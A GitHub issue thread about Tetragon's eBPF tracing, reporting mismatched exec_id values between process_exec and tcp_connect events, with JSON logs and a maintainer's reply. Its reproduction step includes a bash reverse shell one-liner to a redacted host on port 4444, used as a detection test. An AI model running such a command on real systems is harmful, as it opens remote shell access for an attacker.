exec_id inconsistent between process exec event and tcp_connect event

[zandwang]

What happened? How can we reproduce this?

1. In this environment Rocky 9.4
2. With this config and policy

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "tcp"
spec:
  kprobes:
  - call: "tcp_connect"
    syscall: false
    args:
    - index: 0
      type: "sock"

3. Run /bin/bash -i >& /dev/tcp/xx.xx.xx.23/4444 0>&1 (for reverseshell test)
4. See error Tetragon then generates multiple events. I’m focusing on process exec events and tcp_connect events.

The issue is:

Both events have the same PID 3628487, as expected. But they have different exec_id values.
bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTc0MTcyMjUwOTMyNDMyOjM2Mjg0ODc= bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTc0MTcyMjUyMjYyMjYzOjM2Mjg0ODc= In theory, these events should share the same exec_id, because they come from the same process execution. This inconsistency makes it difficult to correlate process and network events. Could you please check whether this is expected behavior or a bug in the current exec_id generation logic?

Tetragon Version

CLI version: v1.6.0-pre.0-100-gb5b98e71c

Kernel Version

Linux localhost.localdomain 5.14.0-427.13.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 1 19:11:28 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Kubernetes Version

No response

Bugtool

No response

Relevant log output

{
    "process_kprobe": {
        "process": {
            "exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTc0MTcyMjUwOTMyNDMyOjM2Mjg0ODc=",
            "pid": 3628487,
            "uid": 0,
            "cwd": "/root",
            "binary": "/bin/bash",
            "flags": "execve",
            "start_time": "2025-11-14T10:20:58.503970417Z",
            "auid": 0,
            "parent_exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MjE5NTMyNTM4OjM2MTg2ODk=",
            "refcnt": 1,
            "tid": 3628487,
            "in_init_tree": false
        },
        "parent": {
            "exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MjE5NTMyNTM4OjM2MTg2ODk=",
            "pid": 3618689,
            "uid": 0,
            "cwd": "/root",
            "binary": "/bin/bash",
            "flags": "execve clone",
            "start_time": "2025-11-14T02:02:43.472569938Z",
            "auid": 0,
            "parent_exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MTcyNDE4MzIyOjM2MTg2ODg=",
            "tid": 3618689,
            "in_init_tree": false
        },
        "function_name": "tcp_connect",
        "args": [
            {
                "sock_arg": {
                    "family": "AF_INET",
                    "type": "SOCK_STREAM",
                    "protocol": "IPPROTO_TCP",
                    "saddr": "xx.xx.xx.14",
                    "daddr": "xx.xx.xx.23",
                    "sport": 41036,
                    "dport": 4444,
                    "cookie": "18446630761781911936",
                    "state": "TCP_SYN_SENT"
                }
            }
        ],
        "action": "KPROBE_ACTION_POST",
        "policy_name": "tcp",
        "return_action": "KPROBE_ACTION_POST"
    },
    "node_name": "localhost.localdomain",
    "time": "2025-11-14T10:20:58.504313965Z"
}




{
    "process_exec": {
        "process": {
            "exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTc0MTcyMjUyMjYyMjYzOjM2Mjg0ODc=",
            "pid": 3628487,
            "uid": 0,
            "cwd": "/root",
            "binary": "/bin/bash",
            "arguments": "-i",
            "flags": "execve clone",
            "start_time": "2025-11-14T10:20:58.505300242Z",
            "auid": 0,
            "parent_exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MjE5NTMyNTM4OjM2MTg2ODk=",
            "tid": 3628487,
            "in_init_tree": false
        },
        "parent": {
            "exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MjE5NTMyNTM4OjM2MTg2ODk=",
            "pid": 3618689,
            "uid": 0,
            "cwd": "/root",
            "binary": "/bin/bash",
            "flags": "execve clone",
            "start_time": "2025-11-14T02:02:43.472569938Z",
            "auid": 0,
            "parent_exec_id": "bG9jYWxob3N0LmxvY2FsZG9tYWluOjI3NTQ0Mjc3MTcyNDE4MzIyOjM2MTg2ODg=",
            "tid": 3618689,
            "in_init_tree": false
        }
    },
    "node_name": "localhost.localdomain",
    "time": "2025-11-14T10:20:58.505299623Z"
}

Anything else?

No response

[FedeDP]

Hi! Thanks for opening this issue. So, just guessing here, but shouldn't the process_exec be received before the process_kprobe? Btw can you enable debug logs? They might help us spotting the issue.

[zandwang]

Hi! Thanks for opening this issue. So, just guessing here, but shouldn't the process_exec be received before the process_kprobe? Btw can you enable debug logs? They might help us spotting the issue.

@FedeDP yes, it's very strange, I’ve tried many times, and every time the kprobe event always appears before the exec event. I enabled debug logs and noticed many messages like:

level=debug source=/home/user/go/pkg/mod/github.com/cilium/[email protected]/pkg/process/cache.go:168 msg="process not found in cache" id="bG9jYWxob3N0LmxvY2FsZG9tYWluOjI4Nzc0NTQ4NjEwMDA4NTI4OjM3NTY3NDU=" level=debug source=/home/user/go/pkg/mod/github.com/cilium/[email protected]/pkg/process/process.go:472 msg="process not found in cache" "id in event"="bG9jYWxob3N0LmxvY2FsZG9tYWluOjI4Nzc0NTQ4NjEwMDA4NTI4OjM3NTY3NDU=" pid=3756745 ktime=28774548610008528

However, I’m certain that the PID/exec_id of the event I’m monitoring never appears in these logs.